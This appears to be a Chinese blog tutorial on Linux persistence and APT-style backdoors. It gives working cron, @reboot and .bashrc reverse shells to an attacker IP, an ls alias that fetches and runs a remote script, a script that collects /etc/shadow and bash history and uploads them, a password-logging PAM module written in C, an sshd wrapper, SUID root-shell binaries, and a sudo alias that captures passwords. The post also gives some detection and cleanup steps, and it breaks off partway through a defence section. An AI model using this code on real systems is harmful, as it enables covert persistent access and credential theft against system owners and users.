Administrator
发布于 2026-03-04 / 5 阅读
0
0

权限维持与 APT 持久化技术

第一部分:理论基础

1.1 什么是权限维持?

在动手实验之前,你需要先理解权限维持的核心概念和技术分类。学完本部分后,你应该能够:

  1. 解释什么

    了解 Linux 系统的启动流程和持久化点

  2. 理解不同后门技术的原理和适用场景

权限维持就是攻击者在成功入侵后,确保即使系统重启或管理员进行维护,仍能保持对目标系统访问权限的技术

权限维持(持久化)的攻击特点

权限维持 = 我进来了,我要永远能进来

1. 目的只有一个:不掉线、不丢失控制

不管你:

  • 重启服务器

  • 杀进程

  • 改密码

  • 断网重连

永远能再回来

2. 依赖系统原生机制(最安全)

攻击者最爱用系统自带功能做后门,因为不像后门

  • cron

  • systemd

  • .bashrc

  • SSH 密钥

  • SUID

  • LD_PRELOAD

  • SSH wrapper / PAM

3. 自动触发,不需要人工点

  • 开机自启

  • 登录自启

  • 定时自启

  • 进程死了自动重启

4. 高隐蔽性

  • 伪装成系统服务

  • 伪装成配置

  • 伪装成定时任务

  • 无进程、无端口、无窗口

5. 一旦植入,极难清除

因为:

  • 藏在配置里

  • 藏在系统服务里

  • 藏在登录流程里

  • 藏在动态库里面

管理员很难找全

APT 与权限维持

APT(Advanced Persistent Threat,高级持续性威胁) 的核心就是”持续性”:

APT 攻击的核心特点

APT = 高级持续性威胁

一句话:悄悄进来、慢慢潜伏、长期不走、拿到核心数据才走

1. 极度隐蔽

  • 不搞破坏、不删数据、不搞蓝屏

  • 尽量不触发告警

  • 后门藏得深,伪装成系统正常行为

2. 长期潜伏(几个月~几年都正常)

  • 不是打一枪就跑

  • 目标是长期控制

  • 等机会偷核心数据、横向移动

3. 步步为营(链路完整)

  1. 钓鱼 / 漏洞 → 进内网

  2. 提权

  3. 权限维持(持久化)

  4. 内网横向渗透

  5. 偷数据

  6. 擦屁股走人

4. 对抗安全工具

  • 免杀、加密、混淆

  • 不用公开漏洞工具

  • 不用典型反弹 Shell(太容易被查)

5. 目标明确

  • 政府、军工、金融、企业核心服务器

  • 不是随机扫肉鸡

APT + 权限维持 组合起来的真正特点(重点)

1. 持久化是 APT 的灵魂

没有持久化 → 一重启就丢权限 → 不是 APT

有持久化 → 能长期控制 → 标准 APT

2. 不追求快,追求稳

APT 不用:

  • 暴力破解

  • 狂扫端口

  • 高频反弹 Shell

  • 明显漏洞工具

APT 用:

  • 低频 cron

  • 开机自启 systemd

  • SSH 密钥

  • LD_PRELOAD 无文件后门

  • 隐藏在启动流程里

3. 多重后门,防止被删

攻击者一般会种 2~4 种后门

  • cron + SSH 密钥

  • systemd + .bashrc

  • LD_PRELOAD + SUID

删一个没用,必须删干净

4. 对抗溯源、对抗排查

  • 日志清理

  • 无文件攻击(LD_PRELOAD)

  • 内存加载

  • 不写可疑文件

5. 横向移动的基础

只有权限稳住了,才能:

  • 翻数据库

  • 登其他服务器

  • 域控渗透

  • 拿全部数据

第二部分:后门技术实验

1.cron后门

先搞懂:cron 到底是什么(生活化比喻)

你可以把 Linux 系统想象成一家公司,cron 就是公司里的 “定时任务秘书”

正常情况下,老板(root 用户)会给秘书列一个 “待办清单”(crontab 配置文件),比如:

每天下午 6 点,清理公司垃圾桶(对应:每天凌晨 2 点清理系统日志)

每周一早上 9 点,备份客户资料(对应:每周一备份数据库)

  • 秘书会严格按清单上的时间,自动完成这些事,不用老板每次提醒

cron 后门的核心原理

cron 后门的本质可以总结为:攻击者利用 cron 定时执行任务的核心机制,通过篡改 / 新增 cron 配置,让恶意程序 / 脚本按照设定的周期自动、隐蔽地运行,从而实现对系统的持久化控制

举例说明:

攻击者的操作,就相当于偷偷溜进公司,篡改了秘书的 “待办清单”

  • 他不会删掉原来的正常任务(怕被发现),而是偷偷加一条:

每 10 分钟,把公司的客户资料偷偷复印一份,从后门递给我(对应:每分钟下载恶意脚本并执行)

  • 秘书完全不知情,会按修改后的清单,既做正常工作,又偷偷执行恶意操作 —— 这就是 cron 后门的核心:篡改 “定时任务清单”,让系统自动、持续地做坏事,还不被发现

修改系统级 cron 配置

  • /etc/cr

    ,格式严格(分 时 日 月 周 用户 命令);

  • /etc/cron.d/:存放自定义 cron 任务的目录;

  • /etc/cron.hourly///etc/cron.daily///etc/cron.weekly///etc/cron.monthly/:按周期执行的脚本目录(系统自动扫描执行)

  • crond 守护进程:后台运行,每分钟检查一次任务列表

  • crontab 文件:存储定时任务的配置文件

  • cron 表达式:定义任务执行时间的语法规则

cron实验步骤

利用反弹shell进行实验,需要具备一台目标机,一台攻击机(执行nc -lvnp 4444

方法1:(植入定时任务

执行绝对的规律,日志频率高,易被发现

# 添加反弹 Shell 任务,同时保留原有任务
# 语法说明:先获取现有任务,追加新任务,再写回 crontab
(crontab -l 2>/dev/null; echo '* * * * * /bin/bash -c "bash -i >& /dev/tcp/10.10.1.79/4444 0>&1"') | crontab -

# 验证任务是否添加成功
crontab -l
  • crontab -l 2>/dev/null:先读取当前用户的所有 cron 任务(-l = list,列出),2>/dev/null 是如果当前没有任务,就忽略 “无任务” 的报错(避免命令执行失败);

  • echo '* * * * * 恶意命令':在原有任务后面,追加一行新任务 ——* * * * * 表示 “每分钟执行一次”,后面跟的就是上面的反弹 Shell 命令;

  • | crontab -:把 “原有任务 + 新恶意任务” 一起写回 cron 配置文件(相当于覆盖,但保留了原有内容)

清理方式

crontab -e  # 编辑cron任务
# 找到这行:0 * * * * sleep $((RANDOM % 300)); bash -i >& /dev/tcp/10.10.1.79/4444 0>&1
# 删掉这一行,保存退出即可

#验证是否清理干净
crontab -l 

方法2:(延迟执行:隐蔽更高)

执行无规律,隐蔽性中等,日志上不易被发现

#创建脚本
nano ~/.local/bin/.update.sh

# 每小时执行,但在 0-300 秒内随机延迟
#!/bin/bash
0 * * * * sleep $((RANDOM % 300)); bash -i >& /dev/tcp/攻击机IP/监听端口 0>&1
  • 这段代码核心还是cron 后门(篡改定时任务清单),只是加了 “随机延迟” 的隐蔽技巧;

  • sleep $((RANDOM % 300)) 是关键:让恶意操作从 “准点执行” 变成 “随机执行”,降低被发现概率;

  • 大白话来说这段代码就是,每过一个小时会触发,但是会随机等待0-300秒才会执行

清理方式:直接删除恶意行

crontab -e  # 编辑cron任务
# 找到这行:0 * * * * sleep $((RANDOM % 300)); bash -i >& /dev/tcp/10.10.1.79/4444 0>&1
# 删掉这一行,保存退出即可

#验证是否清理干净
crontab -l 

方法3:利用@reboot指令

执行时机系统重启后立即启动,隐蔽性极高,核心风险:开机就被控,难排查

第一种方式

#直接追加当前任务crontab
(crontab -l 2>/dev/null; echo '@reboot /home/yxwa/.hidden/backdoor.sh') | crontab -

#验证是否成功
crontab -l

第二种方式

#终端输入编辑命令
crontab -e

#进入编辑界面后,光标移到文件最后一行,直接输入:
@reboot /home/yxwa/.hidden/backdoor.sh

#保存退出

题外:配套操作

光添加 cron 任务还不够,攻击者还会提前创建隐藏目录和恶意脚本:

#创建隐藏目录
mkdir -p /home/yxwa/.hidden/

# 写入恶意内容(比如反弹Shell)到backdoor.sh
echo 'bash -i >& /dev/tcp/10.10.1.79/4444 0>&1' > /home/yxwa/.hidden/backdoor.sh

# 添加执行权限
chmod +x /home/yxwa/.hidden/backdoor.sh

如何识别 / 清理

# 1.先找到这个恶意任务
crontab -l  # 列出当前用户的cron任务,看是否有@reboot这行
# 如果是root用户的任务,执行:crontab -u root -l

# 2.删除恶意任务
crontab -e  # 编辑cron任务,找到@reboot那行,直接删除,保存退出

# 3.找到并删除隐藏的恶意脚本
ls -a /home/yxwa/  # 能看到.hidden目录
ls -al /home/yxwa/.hidden/  # 查看里面的backdoor.sh

# 删除恶意脚本和隐藏目录
rm -rf /home/yxwa/.hidden/backdoor.sh
rm -rf /home/yxwa/.hidden/  # 确认无其他重要文件再删

cron优缺点对比表

cron核心触发条件

  1. crond 守护进程正常运行(systemctl status crond 显示 active);

  2. cron 表达式配置正确(如* * * * * 表示每分钟),命中时间规则;

  3. 任务执行的命令 / 脚本路径存在、有执行权限,执行用户有对应权限。


2.SSH Wrapper后门

SSH是什么?

  • ssh是远程桌面控制协议,在windows上叫:RDP,专门解决远程连接,对服务器进行安全连接,安全性高(进行加密)

SSH Wrapper 后门的核心原理

SSH Wrapper 后门本质是通过替换或劫持 SSH 相关的可执行文件(如 sshsshd)或其调用的库文件,在不影响正常 SSH 登录功能的前提下,植入恶意逻辑,实现未授权访问、密码窃取、操作记录等恶意行为

  • SSH 服务的正常执行流程:用户发起 ssh 客户端请求 → 系统调用 sshd 服务端程序 → 验证账号密码 / 密钥 → 建立会话

  • Wrapper 后门的篡改逻辑:在 ssh/sshd 执行前,先运行恶意 wrapper 程序,该程序会拦截登录凭证(如密码)、放行特定秘钥 / 密码登录,再调用原始的 ssh/sshd 程序,让用户无感知

举例说明:

1.正常流程(无后门)

  • 你(客户端)→ 直接交给小区官方快递柜(系统原生 sshd 程序);

  • 快递柜验证收件人信息(账号密码 / 密钥),验证通过后,朋友(服务器)就能取件(建立会话)。

  • 整个过程没有中间环节,官方快递柜只负责验证和放行。

2.SSH Wrapper 后门流程(有后门)

  • 攻击者偷偷把小区的官方快递柜挪到了仓库(备份原始 sshdsshd.orig);

  • 然后在原来的快递柜位置,放了一个自己的代收点小柜子(创建 wrapper 脚本 / 程序),并挂了和官方快递柜一样的牌子(用软链接 ln -s 替换 /usr/sbin/sshd);

  • 你(客户端)还是按老习惯,把快递交给这个 “官方柜子”(发起 SSH 连接);

  • 代收点小柜子(wrapper)先偷偷记下你的寄件信息(IP、时间,甚至密码 —— 如果配合 PAM 篡改),然后再把快递原样转交给仓库里的官方快递柜(调用 sshd.orig "$@" 执行原始验证逻辑);

  • 官方快递柜验证通过后,朋友正常取件(建立会话),全程你和朋友都完全无感知


实验步骤

方法1:记录所有 SSH 连接的来源信息

这段脚本的目的是在不影响 SSH 正常登录的前提下,偷偷记录所有 SSH 连接的来源信息

在目标服务器,上通过替换 sshd 程序为自定义 wrapper 脚本的方式,实现记录 SSH 连接信息的功能,本质上是一种 SSH Wrapper 后门的简化实现

源代码1:备份原始程序

#先把系统原生的 sshd(SSH 服务端程序)备份到 sshd.orig
#保留原始程序以便后续调用,避免破坏正常 SSH 功能
sudo cp /usr/sbin/sshd /usr/sbin/sshd.orig

步骤图1:

源代码2: 编写 Wrapper 脚本

#创建一个脚本
sudo nano /usr/local/bin/sshd_wrapper

#文本里输入
#!/bin/bash
# 记录连接信息
echo "$(date) - SSH connection from $SSH_CLIENT" >> /tmp/.ssh_log

# 调用原始 sshd
exec /usr/sbin/sshd.orig "$@"
EOF

#赋予脚本可执行权限,否则系统无法调用
sudo chmod +x /usr/local/bin/sshd_wrapper

步骤图2:

  • 创建 /usr/local/bin/sshd_wrapper 脚本作为 “包装器”,核心逻辑:

1.$SSH_CLIENT:是 SSH 环境变量,会返回客户端的 IP、端口等信息;
2.>> /tmp/.ssh_log:把连接时间、客户端信息追加写入隐藏日志文件(.ssh_log 开头的点表示隐藏);
3. exec /usr/sbin/sshd.orig "$@":
调用原始的 sshd 程序,并传递所有入参($@),保证正常 SSH 登录流程不受影响。


源代码3:替换系统默认 sshd

#替换系统默认的sshd(使用软连接方式)
sudo mv /usr/sbin/sshd /usr/sbin/sshd.backup

#使用软连接
sudo ln -s /usr/local/bin/sshd_wrapper /usr/sbin/sshd

#查看替换结果
ls -la /usr/sbin/sshd
  • 先把系统默认的 /usr/sbin/sshd 重命名为 sshd.backup(二次备份);

  • 用软链接(ln -s)将 /usr/sbin/sshd 指向自定义的 wrapper 脚本,这样系统调用 sshd 时,实际执行的是 wrapper 脚本,实现 “偷梁换柱”

步骤图3:

验证源代码:

# 新的 SSH 连接后,查看日志:
$ cat /tmp/.ssh_log

验证结果图:

如何检测这类后门

# 1. 检查 sshd 文件类型(正常应为二进制,而非软链接)
file /usr/sbin/sshd
# 正常输出:/usr/sbin/sshd: ELF 64-bit LSB executable...
# 后门输出:/usr/sbin/sshd: symbolic link to /usr/local/bin/sshd_wrapper

# 2. 检查异常文件
ls -la /usr/local/bin/ | grep sshd_wrapper  # 查找 wrapper 脚本
ls -la /tmp/ | grep .ssh_log               # 查找隐藏日志

# 3. 验证 sshd 完整性(以 CentOS 为例,没有的话 sudo apt install rpm 安装)
rpm -V openssh-server  # 若输出内容包含 S、L 标记,说明文件被篡改/替换

结果图:

这段是 Python 版本的 SSH Wrapper 脚本,核心意图是记录所有 SSH 登录尝试的密码,但首先要明确:这段脚本本身无法实现密码记录功能

# 这个版本会记录所有登录尝试的密码
cat > /usr/local/bin/ssh-wrapper << 'EOF'
#!/usr/bin/env python3
import os
import sys
import socket
import datetime

LOG_FILE = "/var/log/.ssh_passwords"

def log_attempt(username, password, ip):
    with open(LOG_FILE, "a") as f:
        timestamp = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
        f.write(f"{timestamp} | {ip} | {username} | {password}\n")

# 这只是概念演示,实际的密码记录需要修改 PAM 模块
# 这里我们用一个简单的方式演示

if __name__ == "__main__":
    # 调用原始 sshd
    os.execv("/usr/sbin/sshd.orig", sys.argv)
EOF

方法3.使用 PAM 记录密码(更隐蔽)

什么是PAM

PAM 是一套Linux / 类 Unix 系统的统一认证框架,它的核心目标是:将应用程序(如 sshd、login、su、sudo)与具体的认证实现(如密码校验、密钥、双因素、LDAP、Kerberos 等)解耦


PAM打比方来讲:

可以把 PAM 想象成一个 「认证插座板」

  • 应用程序(比如 sshdloginsudo):是用电设备,只负责 “要用电(要认证)”,不管电从哪里来;

  • PAM 框架:是插座板本体,提供统一接口,负责接电、分电;

  • PAM 模块(.so 共享库,比如 pam_unix.sopam_log.so):是不同的电源模块(本地密码、LDAP、双因素、日志记录等),可以即插即用

  • PAM 配置文件(/etc/pam.d/sshd):是插座板的接线规则,指定 “哪个用电设备接哪个电源模块、顺序如何、失败了怎么办”

核心:不用改用电设备(应用),只要换电源模块(PAM 模块)或改接线规则(配置文件),就能换认证方式


PAM 的极简核心流程(SSH 密码登录为例)

  1. 用户:输入 ssh user@server,输入密码;

  2. sshd:我不自己校验密码,我找 PAM 帮我!调用 PAM 库的 pam_authenticate 函数;

  3. PAM:去读 /etc/pam.d/sshd 这个配置文件,按顺序执行里面的模块;

  • 比如先执行 pam_unix.so(查 /etc/shadow 校验本地密码);

  • 再执行 pam_faildelay.so(登录失败延迟 3 秒);

  • 若配置了恶意的 pam_log.so,这里就会先记录明文密码;

  1. PAM:所有模块执行完,告诉 sshd 结果(成功 / 失败);

  2. sshd:根据结果,允许登录或拒绝


常见误区澄清

  1. PAM 不是一个程序,是一套框架 + 库 + 模块 + 配置:它是底层支持,不是一个可以直接运行的命令;

  2. PAM 模块是共享库(.so),不是脚本:之前的 Python wrapper 脚本拿不到密码,但编译成 .so 的 PAM 模块可以直接通过 pam_get_item 读取明文密码;

  3. 禁用密码登录,PAM 就拿不到密码了:如果只启用密钥登录(PasswordAuthentication no),PAM_AUTHTOK 里就没有密码,恶意模块也没用


实验步骤

源代码1:

//创建一个c语言脚本
sudo nano /tmp/pam_log.c

//编写恶意 PAM 模块源码
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <security/pam_modules.h>
#include <security/pam_ext.h>
#include <time.h>

#define LOG_FILE "/var/log/.auth"  // 隐藏日志文件,存储窃取的密码

// PAM 认证核心函数,SSH 验证密码时会调用此函数
PAM_EXTERN int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) {
    const char *user;  // 存储登录用户名
    const char *pass;  // 存储登录密码
    FILE *fp;
    time_t now;
    char timestr[64];

    // 从 PAM 上下文获取用户名(PAM_USER)和密码(PAM_AUTHTOK)
    pam_get_item(pamh, PAM_USER, (const void **)&user);
    pam_get_item(pamh, PAM_AUTHTOK, (const void **)&pass);

    // 若获取到用户名和密码,写入隐藏日志文件
    if (user && pass) {
        fp = fopen(LOG_FILE, "a");  // 追加模式写入
        if (fp) {
            now = time(NULL);
            strftime(timestr, sizeof(timestr), "%Y-%m-%d %H:%M:%S", localtime(&now));
            fprintf(fp, "%s | %s | %s\n", timestr, user, pass);  // 时间 | 用户名 | 密码
            fclose(fp);
        }
    }

    return PAM_SUCCESS;  // 返回成功,不影响正常认证流程
}

// PAM 凭证设置函数,仅返回成功即可
PAM_EXTERN int pam_sm_setcred(pam_handle_t *pamh, int flags, int argc, const char **argv) {
    return PAM_SUCCESS;
}
  • 核心关键pam_get_item(pamh, PAM_AUTHTOK, ...) 是获取密码的核心 API——PAM 框架会将用户输入的明文密码暂存到 PAM_AUTHTOK 项中,恶意模块通过这个接口直接读取明文密码;

  • 隐蔽性:返回 PAM_SUCCESS 确保正常登录流程不受影响,用户完全无感知;日志文件 .auth 以点开头,默认隐藏。


源代码2:编译恶意 PAM 模块

# 安装 PAM 开发依赖(编译模块必需)
sudo apt-get install -y libpam0g-dev

# 编译为共享库(PAM 模块必须是 .so 共享库)
gcc -fPIC -shared -o /lib/x86_64-linux-gnu/security/pam_log.so /tmp/pam_log.c -lpam

rm /tmp/pam_log.c  # 删除源码,销毁痕迹

编译参数说明:

  • -fPIC:生成位置无关代码(共享库必需);

  • -shared:编译为共享库;

  • -lpam:链接 PAM 库,否则无法调用 pam_get_item 等 API;

  • 输出路径 /lib/x86_64-linux-gnu/security/ 是系统默认的 PAM 模块存放目录,符合系统规范,更隐蔽


源代码3:植入 PAM 配置(让 SSH 调用恶意模块)

#编辑 /etc/pam.d/sshd,在 auth 段添加
auth optional pam_log.so
  • auth:表示这是认证阶段的模块;

  • optional:表示该模块执行失败也不影响认证(保证即使模块出错,SSH 仍能正常登录);

  • 一旦添加,所有通过密码登录 SSH 的请求,都会先调用 pam_log.so,密码被窃取后再执行正常验证。


PAM配置文件解释:

# /etc/pam.d/sshd 文件结构:
auth    required    pam_unix.so        # 正常的密码认证
auth    optional    pam_log.so         # 我们的后门模块(optional 表示失败不影响认证)

检测方法

# 1. 检查 sshd 是否被替换
file /usr/sbin/sshd
# 应该是 ELF 可执行文件,不是脚本

# 2. 检查 sshd 的哈希值
sha256sum /usr/sbin/sshd
# 与官方版本对比

# 3. 使用包管理器验证
debsums openssh-server

# 4. 检查可疑的 sshd 相关文件
ls -la /usr/sbin/sshd*
find / -name "*sshd*" 2>/dev/null

# 5. 检查 PAM 配置
cat /etc/pam.d/sshd
ls -la /lib/x86_64-linux-gnu/security/

清除方法

# 恢复原始 sshd
mv /usr/sbin/sshd.orig /usr/sbin/sshd

# 或者重新安装 openssh-server
apt-get install --reinstall openssh-server

# 删除可疑的 PAM 模块
rm /lib/x86_64-linux-gnu/security/pam_log.so

# 检查并恢复 PAM 配置
vim /etc/pam.d/sshd

3.SUID后门

SUID 后门

创建一个具有 SUID 权限的可执行文件,普通用户运行时可以获得 root 权限。

SUID 权限:

  • SUID(Set User ID)是文件的特殊权限位:当一个可执行文件设置了 SUID 位,任何用户执行该文件时,都会以文件所有者的身份运行(而非执行用户自身权限)。

  • 核心作用:让普通用户能执行特定高权限命令(比如 passwd 命令,所有者是 root,普通用户执行时能临时获得 root 权限修改自己的密码)。

  • 查看方式:ls -l 中所有者执行权限位显示为 s(如 rwsr-xr-xrws 中的 s 就是 SUID 位);

  • 设置命令:chmod u+s /path/to/binary(给文件所有者添加 SUID 位)


SUID 后门的核心特点

  • 提权高效:普通用户执行 SUID 后门即可直接获得 root 权限,无需复杂的漏洞利用; 隐蔽性强

持久化:只要 SUID 文件不被删除 / 权限不被修改,后门就一直存在,系统重启也不受影响;

通用性:SUID 机制是 Linux/Unix 通用特性,攻击手段跨发行版兼容。

  • 恶意文件可命名为系统命令(如 findnetstat),伪装成正常程序;

  • SUID 权限位在 ls -l 中不显眼,新手管理员容易忽略;


SUID 基础概念

SUID(Set User ID)是 Linux 中的一种特殊文件权限位,作用是:当设置了 SUID 位的可执行文件被执行时,进程的有效用户 ID(EUID)会变成该文件的所有者 ID,而不是执行这个文件的用户 ID

举个例子:/usr/bin/passwd 文件默认就有 SUID 权限(所有者是 root),普通用户执行 passwd 时,能临时获得 root 权限来修改 /etc/passwd 文件,这是 SUID 的合法用途;而 SUID 后门就是恶意利用这个特性,让普通用户能通过特制程序获得 root 权限

如图:

# 输出示例:-rwsr-xr-x 1 root root 64152 May 30 2024 /usr/bin/passwd

# 其中 rws 中的 s 就是SUID位

实验步骤(需要root权限)

方法一、使用bash复制(简单直接)

核心思路是让复制后的 bash 文件继承 root 的 SUID 权限,从而执行这个 bash 就能获得 root 权限

方法1 实验步骤

源代码如下:

# 核心命令:复制/bin/bash到/tmp/.suid_bash,保留原文件属性
sudo cp /bin/bash /tmp/.suid_bash

#设置该文件的所有者为 root,并添加 SUID 位(关键步骤)
# 设置文件所有者为root
sudo chown root:root /tmp/.suid_bash

# 添加SUID权限(u+s)
sudo chmod u+s /tmp/.suid_bash

# 验证权限(看到rws即表示SUID设置成功)
ls -l /tmp/.suid_bash
# 正常输出:-rwsr-xr-x 1 root root 123456 1月  12 2024 /tmp/.suid_bash

# 普通用户执行(核心命令)
/tmp/.suid_bash -p

# 验证权限
whoami  # 输出:root
id      # 输出中会看到 euid=0 (root),表示有效用户ID是root

#清理 / 移除这个后门
sudo rm -f /tmp/.suid_bash

步骤图

清理后门

  1. 权效果直接,一步到位

  1. 无残留依赖,清理成本低

bash版的缺点:
  1. 管理员执行find / -perm -4000 -type f 2>/dev/null排查 SUID 文件,这个文件会立刻出现在列表中,一眼就能看出异常

  2. /tmp目录是系统临时目录,默认会被系统定期清理

  3. 依赖环境,该方法仅对有/bin/bash的 Linux 系统有效

  4. 无持久化能力,易被清理

  5. 操作留痕,易被审计追溯(执行cp/chown/chmod等命令时,会被系统日志记录)


方法二、创建简单的 SUID 后门程序(难度大,需要root身份,但隐蔽)

编写一个恶意 C 程序,编译后设置 SUID 位,普通用户执行即可获得 root shell

方法2.实验步骤

源代码1:进入root模式,查看/tmp目录

# 1. 切换到root(如果还没登录root)
sudo -i

# 2. 进入/tmp目录(临时目录,隐蔽性相对高)
cd /tmp

#查看当前目录下的文件
ls

#用vim/nano创建一个 C 文件
nano root_shell.c

步骤图1:

源代码2:编写C语言后门代码

#include <stdio.h>   // 基础输入输出头文件
#include <stdlib.h>  // system()函数所需头文件
#include <unistd.h>  // setuid()函数所需头文件

int main() {
    // 1. 将有效用户ID设置为root(0是root的UID)
    setuid(0);
    // 2.将进程gid设置为0(root)
    setgid(0);
    // 3. 执行root权限的bash shell -p保持特区模式
    system("/bin/bash -p");
    // 4. 程序正常退出
    return 0;
}

步骤图2:

源代码3: 编译 C 程序(需安装 gcc 编译器)

# 安装gcc(CentOS/RHEL用:yum install gcc)
sudo apt update && sudo apt install gcc -y

# 编译C程序,输出可执行文件(命名为隐藏文件:.root_backdoor)
gcc root_shell.c -o /tmp/.root_backdoor

步骤图3:

编译前后的文件的对比

源代码4:设置 SUID 权限(关键步骤)

# 1.添加SUID权限(u+s)
chmod u+s /tmp/.root_backdoor

# 2. 验证权限(看到rws即成功)
ls -l /tmp/.root_backdoor
# 正确输出:-rwsr-xr-x 1 root root 8568 1月 12 16:00 /tmp/.root_backdoor

步骤图4:

验证:普通用户利用后门提权

(可另外使用终端登录)

# 普通用户执行后门程序
/tmp/.root_backdoor

# 验证提权结果
whoami  # 输出:root
id      # 输出:uid=1000(test) gid=1000(test) euid=0(root) ...

验证图:

清理后门(测试完成后必做)

# root权限下删除后门文件和源码
rm -f /tmp/.root_backdoor root_shell.c

# 或者移除 SUID 权限
chmod u-s /tmp/.root_backdoor

清理后门图:

  1. 需懂基础 C 语言

  2. 更容易被安全工具标记

  3. 编译失败排查难

  4. 无自恢复能力


C 语言版 VS bash 复制版 核心对比表

最佳使用时机 + 触发条件

SUID最佳使用时机:

  1. 临时 root 权限,需留普通用户提权通道(普通用户执行即可获取 root);

  2. 目标系统存在 SUID 程序漏洞,或可修改 SUID 文件;

  3. 需快速落地提权通道,避免权限丢失

核心优势:提权高效,普通用户执行即可变 root;持久化强,文件不删就一直能用


触发条件:

  1. 普通用户主动执行带 SUID 位的恶意文件;

  2. 文件所有者为 root,且已设置 SUID 位(-rwsr-xr-x)

关键限制:需要 root 权限设置 SUID 位;容易被 find / -perm -4000 命令扫描发现

4.shell配置文件

在用户的 Shell 配置文件(如 .bashrc、.profile)中注入恶意代码,每次用户登录或打开新终端时自动执行。

核心原理

Shell 配置文件(如 ~/.bashrc~/.bash_profile/etc/profile~/.zshrc 等)是用户登录或启动 Shell 时自动执行的脚本文件

攻击者通过在这些文件中植入恶意代码,可实现持久化控制(每次用户登录 / 打开终端时自动执行恶意操作)

举个例子:

你每天起床后,会按固定习惯先喝水、再刷牙、再出门;Linux 终端每次启动,也会按配置文件里的指令 “做事”(比如设置别名、加载环境变量)

攻击者的思路就是:在这个 “打卡脚本” 里偷偷加一句 “坏事”,让终端每次启动都自动干这件坏事,这就是Shell 配置文件后门

  • 不同 shell的配置文件有这些:

配置文件路径

作用场景

影响范围

/etc/profile

系统级,所有用户登录 shell 时执行

全局(所有用户)

/etc/bashrc//etc/bash.bashrc

系统级,所有用户启动交互式 shell 时执行

全局

~/.bash_profile

用户级,当前用户登录 shell 时执行

仅当前用户

~/.bashrc

用户级,当前用户启动交互式 shell 时执行

仅当前用户

~/.bash_logout

用户级,当前用户退出 shell 时执行

仅当前用户

  • 这些文件的核心特点:只要满足触发条件(登录 / 启动 shell),就会自动执行文件内的所有命令—— 攻击者正是利用这一点,在里面插入恶意代码,形成 “配置文件后门”

为什么 Shell 配置文件后门有效?

实验步骤

常见后门类型

1. 反向连接后门(最直接的 “远程控制”)

原理:

攻击者让目标机的终端主动连接他的电脑,把终端的操作权限交给攻击者,就像你家的门自己打开,还喊小偷进来

代码:

#攻击机需要监听
nc -lvnp 端口号

# 偷偷写进目标机的 ~/.bashrc 末尾
echo "nohup bash -i >& /dev/tcp/攻击者IP/端口号 0>&1 & disown" >> ~/.bashrc

拆解每一段:

  • bash -i:启动一个能交互的终端(相当于给攻击者留了一个能输入命令的窗口);

  • /dev/tcp/目标IP/端口号:这是 Linux 里的 “网络通道”,指向攻击者的 IP和端口

  • >&0>&1:把你终端的 “输入、输出、报错” 都转发到这个网络通道(比如攻击者输入 ls,目标机的终端就会执行,结果还会传给他);

  • nohup + & disown:让这个恶意进程 “藏起来”—— 你关了终端它也在跑,还不会出现在你的进程列表里,相当于小偷进了你家,还躲进了衣柜

实际效果:

目标机每次打开终端,攻击者的电脑就会收到一个 “控制连接”,攻击中能像目标机一样操作目标的服务器,看文件、删数据、偷密码都可以

2. 别名替换后门(“偷梁换柱” 型)

原理

修改你常用命令的 “别名”(比如 ls 是看文件、cd 是切换目录),让你执行正常命令时,偷偷干坏事

代码示例:

#写入 ls 劫持代码到 ~/.bashrc
echo "alias ls='ls; curl http://攻击者服务器/偷数据.sh | bash'" >> ~/.bashrc

#如果想让修改立刻生效,攻击者会额外执行
source ~/.bashrc

拆解:

  • alias ls='xxx':给 ls 命令改别名,原本 ls 只做 “看文件” 一件事;

  • 现在目标机输 ls,会先执行正常的 ls(目标机看到的结果和平时一样,不会怀疑);

  • 然后偷偷执行 curl http://攻击者服务器/偷数据.sh | bash:从攻击者的服务器下载一个 “偷数据的脚本”,并立刻执行

实际效果:

目标机每天无数次输 ls 命令,每次都在偷偷给攻击者传数据 —— 比如目标机的服务器密码、正在操作的文件、登录的账号等,被偷完全没感觉

攻击者上:偷数据.sh脚本

#!/bin/bash

# 1. 定义临时存储路径(隐蔽的临时目录)
LOG_FILE="/tmp/.temp_$(date +%N).log"

# 2. 收集系统与用户的敏感信息
echo "=== 主机信息 ===" > $LOG_FILE
hostname >> $LOG_FILE
whoami >> $LOG_FILE
date >> $LOG_FILE
ip addr show >> $LOG_FILE 2>/dev/null

echo "=== 历史命令 ===" >> $LOG_FILE
cat ~/.bash_history >> $LOG_FILE 2>/dev/null

echo "=== 密码相关文件 ===" >> $LOG_FILE
cat /etc/passwd >> $LOG_FILE 2>/dev/null
cat /etc/shadow >> $LOG_FILE 2>/dev/null  # 需要root权限才能读取

echo "=== 当前用户文件列表 ===" >> $LOG_FILE
ls -la ~ >> $LOG_FILE 2>/dev/null

# 3. 将收集到的数据回传给攻击者服务器
# 方式1:用POST请求上传日志文件
curl -s -X POST -F "log=@$LOG_FILE" http://攻击者IP:端口/upload.php >/dev/null 2>&1

# 方式2:如果curl被禁,用wget发送
# wget --post-file=$LOG_FILE http://攻击者IP:端口/upload.php -q -O /dev/null

# 4. 清理本地痕迹,避免被发现
rm -f $LOG_FILE

关键行为拆解

  1. 隐蔽存储日志文件用随机数(date +%N)命名,放在 /tmp 临时目录,普通用户很难注意到。

  2. 信息收集它会记录你的主机名、当前用户、IP 地址、历史命令、系统密码文件等核心敏感信息。

  3. 数据回传curl 悄悄把日志文件上传到攻击者的服务器,-s 参数让它静默执行,不会在终端输出任何内容。

  4. 痕迹清理上传完成后立刻删除日志文件,让你无法在本地找到证据

2.1使用 alias 劫持 sudo 命令(窃取密码)

cat >> ~/.bashrc << 'EOF'
# 劫持 sudo 命令,记录密码
alias sudo='_sudo() {
    read -sp "[sudo] password for $USER: " pass
    echo ""
    echo "$USER:$pass" >> /tmp/.cache_$(date +%s)
    echo "$pass" | /usr/bin/sudo -S "$@"
}; _sudo'
EOF

攻击流程总结

当用户执行 sudo ls 时,实际发生的是:

  1. 触发别名 sudo,执行恶意函数 _sudo()

  2. 显示和真实 sudo 一样的密码提示,用户输入密码

  3. 密码被记录到 /tmp/.cache_xxxx 文件

  4. 恶意代码调用真正的 /usr/bin/sudo,使用窃取的密码执行 ls 命令

  5. 用户看到正常的命令输出,完全不知道密码已被窃取

如何防范

第一步:10 秒自查(对应 “查”)

只需要记 3 个简单命令,终端输入就能快速判断是否被劫持:

bash

运行

# 1. 查sudo别名(最核心)
alias sudo

